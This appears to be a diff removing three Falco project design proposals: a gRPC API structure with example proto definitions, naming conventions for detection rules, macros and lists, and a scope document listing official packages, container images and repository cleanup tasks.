-This is a proposal to better structure the Falco API.
-
-The Falco API is a set of contracts describing how users can interacts with Falco.
-
-By definiing a set of interfaces the Falco Authors intend to decouple Falco from other softwares and data (eg., from the input sources) and, at the same time, make it more extensible.
-
-Thus, this document intent is to propose a list of services that contistute the Falco API (targeting the first stable version of Falco, v1.0.0).
-
-## Motivation
-
-We want to enable users to use thirdy-party clients to interface with Falco outputs, inputs, rules, and configurations.
-
-Such ability would enable the community to create a whole set of OSS tools, built on top of Falco.
-
-Some examples, already in place, are:
-
-- [falcoctl](https://github.com/falcosecurity/falcoctl)
-- [falco-exporter](https://github.com/falcosecurity/falco-exporter)
-
-## Goals
-
-- To design and implement an API to make Falco more configurable
-- To design and implement an API to make Falco more consumable
-- To have an API so that users are able to interface with Falco
-- To design a set of simple contract interfaces
-- To have an API which is secure by default
-- To implement this API in C++ using gRPC as a first implementation
-
-## Non-Goals

-- To replace the existing inputs: the **inputs** will be only for new source events users may want to add, initially
-- To document the API: to be approached as separate task
-- To create/update the API client: to be approached as a separate task
-
-## Proposal
-
-### Use cases
-
-- Receive Falco events with a well-defined contract --> **outputs**
-- Receive Falco drops with a well-defined contract --> **drops**
-- Receive current Falco version and related meta information (commit hash, built type, etc.) --> **version**
-- Configure Falco via API (CRUD) -> **configs**
-- Inject and/or modify Falco rules via API (CRUD) --> **rules**
-- Send input events to Falco --> **inputs**
-
-### Unary services
-
-1. Version
-2. Rules
-3. Configs
-
-### Streaming (server or client) services
-
-1. Outputs
-2. Drops
-
-### Bidirectional streaming services
-
-1. Inputs
-
-### Architecture
-
-We propose to have:
-- 1 gRPC server
-- 1 service grouping services
-
-This translates in having the following set of `proto` files.
-
-- a `.proto` containing the **request** and **response messages** for each service - eg., `version.proto`, `outputs.proto` etc.
-
-    For example,
-    ```proto3
-    # version.proto
-    message request
-    {
-      ...
-    }
-
-    // The `response` message contains the version of Falco.
-    // It provides the whole version as a string and also
-    // its parts as per semver 2.0 specification (https://semver.org).
-    message response
-    {
-    string version = 1;
-      uint32 major = 2;
-      uint32 minor = 3;
-      uint32 patch = 4;
-      string prerelease = 5;
-      string build = 6;
-    }
-    ```
-
-- one or more `.proto` containing the commond models - ie., the already existing `schema.proto` containing source enum, etc.
-
-    ```proto3
-    # schema.proto
-    enum priority {
-      ..
-    }
-    enum source {
-    option allow_alias = true;
-      SYSCALL = 0;
-      syscall = 0;
-      Syscall = 0;
-      K8S_AUDIT = 1;
-      k8s_audit = 1;
-      K8s_audit = 1;
-      K8S_audit = 1;
-    }
-    ```
-
-- a `.proto` for service definitions
-
-    For example,
-    ```proto3
-    service api {
-      rpc version(request) returns (response);
-      rpc outputs(request) returns (stream response);
-      rpc drops(request) returns (stream response);
-      ...
-    }
-    ```

-
-## Summary
-
-Propose some basic naming conventions when new lists, macros, rules are introduced. 
-
-## Motivation
-
-We want to help people from the community to contribute to falco rules. It will help improving the security content provided by Falco out of the box. Since people have different preference of naming things, it's necessary to set forth some basic naming convention for people to follow when creating new rules, macros and lists.
-
-### Goals
-
-People will have to follow the naming conventions rules when introducing new Falco rules, macros and lists.
-
-### Non-Goals
-
-There will be no intention to cover Falco rule syntax in this proposal.
-
-## Proposal
-
-### Use cases
-
-When new PRs are created in the area of rules, reviewers need to examine whether there are new rules, macros or lists are introduced. If yes, check wether follow the naming convention.
-
-### Diagrams
-
-N/A
-
-### Design Details
-
-#### Rule
-- Rule Name: Use phrases with capitalizing every word except preposition (e.g. `Search Private Keys or Passwords`)
-- Description: Use sentence always starting with "Detect" and ending with period. (e.g. `Detect grep private keys or passwords activity.`)
-- Output: Use sentence. Must at least include output fields (user=%user.name command=%proc.cmdline container_id=%container.id)
-- Tags: Use at least one of the following: [network, process, filesystem]. Also encourage to use mitre_* tags if applicable
-
-#### Macro
-- Macro Name: Use lowercase_separated_by_underscores (e.g. `parent_java_running_zookeeper`)
-
-#### List
-- List Name: Use lowercase_separated_by_underscores (e.g. `protected_shell_spawning_binaries`)

-# Falco Artifacts Scope - Part 1
-
-The **Falco Artifact Scope** proposal is divided in two parts:
-1. the Part 1 - *this document*: the State of Art of Falco artifacts
-2. the [Part 2](./20200506-artifacts-scope-part-2.md): the intended state moving forward
-
-## Summary 
-
-As a project we would like to support the following artifacts.
-
-Everything else will be moved to [contrib](https://github.com/falcosecurity/contrib).
-
-As a project we will build, change, rename, and move files, documents, scripts, configurations according to the new state of the art described into [Part 2](./20200506-artifacts-scope-part-2.md).
-
-Inspired by many previous issues and many of the weekly community calls.
-
-## Terms
-
-**falco** 
-
-*The Falco binary*
-
-**driver**
-
-*System call provider from the Linux kernel. Either (`bpf`, `module`)*
-
-**falco-driver-loader**
-
-*The bash script found [here](https://github.com/falcosecurity/falco/blob/master/scripts/falco-driver-loader) that tries to compile else download the driver (kernel module or eBPF probe).*
-
-**package**
-
-*An installable artifact that is operating system specific. All packages MUST be hosted on bintray.*
-
-**image**
-
-*OCI compliant container image hosted on dockerhub with tags for every release and the current master branch.*
- 
-
-# Packages
-
-List of currently official packages (for x86 64bits only):
-
-- `falco-x.y.z-x86_64.deb` for debian like systems, it installs the kernel module by default
-- `falco-x.y.z-x86_64.rpm` for rpm like systems, it installs the kernel module by default
-- `falco-x.y.z-x86_64.tar.gz` for binary installation, it contains `falco` binary, `falco-driver-loader` script, drivers source, and related dependencies
-

-# Images
-
-List of currently official container images (for X86 64bits only):
-
-| Name | Directory | Description |
-|---|---|---|
-| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/stable | Falco (DEB built from git tag or from the master) with all the building toolchain. | 
-| [falcosecurity/falco:latest-slim](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_-slim](https://hub.docker.com/repository/docker/falcosecurity/falco),[falcosecurity/falco:master-slim](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/slim | Falco (DEB build from git tag or from the master) without the building toolchain. | 
-| [falcosecurity/falco-driver-loader:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader) | docker/driver-loader | `falco-driver-loader` as entrypoint with the building toolchain. | 
-| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source. Used to build Falco (CI). | 
-| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). | 
-| _to not be published_ | docker/local | Built on-the-fly and used by falco-tester. |
-
-**Note**: `falco-builder`, `falco-tester` (and the `docker/local` image which it's built on the fly by the `falco-tester` one) are not integrated into the release process because they are development and CI tools that need to be manually pushed only when updated.

-
-# Falco Project Evolution
-
-We will modeling a loosely defined adoption of the Kubernetes and CNCF incubator efforts.
-
-The criteria will remain loose, and tighten as needed at the discretion of the Falco open source community.
-
-### contrib
-
-"_Sandbox level_"
-
-This new [contrib](https://github.com/falcosecurity/contrib) repository will be equivalent to the `Falco Sandbox` and serves as a place for the community to `test-drive` ideas/projects/code.
-
-### repository
-
-"_Incubating level_" projects such as [falco-exporter](https://github.com/falco-exporter) can be promoted from `contrib` to their own repository. 
-
-This is done as needed, and can best be measured by the need to cut a release and use the GitHub release features. Again, this is at the discretion of the Falco open source community.
-
-### official support
-
-As the need for a project grows, it can ultimately achieve the highest and most coveted status within The Falco Project. "_Offical support_."
-
-The artifacts listed above are part of the official Falco release process. These artifact will be refined and amended by the [Part 2](./20200506-artifacts-scope-part-2.md).
-
-# Action
-
-The *Part 1* is mainly intended as a cleanup process.
-For each item not listed above, ask if it needs to be moved or deleted.
-After the cleanup process, all items will match the *Part 1* of this proposal.
-
-    
-### Action Items
-
-Here are SOME of the items that would need to be done, for example:
-
- - Remove `minimal` from `falco` repository (it's almost similar to `slim`, we don't need two images for the same purpose)
- - Rename `driverloader` image to `falco-driver-loader` (since it has not been release yet, we can rename it without breaking things)
- - Move everything else to contrib
-     - Move [/integrations](https://github.com/falcosecurity/falco/tree/master/integrations) to contrib
-     - Move [/examples](https://github.com/falcosecurity/falco/tree/master/examples) to contrib
-     - Old documentation
-
-### Documentation
-
-Update documentation in [falco-website#184](https://github.com/falcosecurity/falco-website/pull/184).
-
-### Adjusting projects
-
- - YAML manifest documentation to be moved to `contrib`
- - Minkube, Kind, Puppet, Ansible, etc documentation to be moved to `contrib`
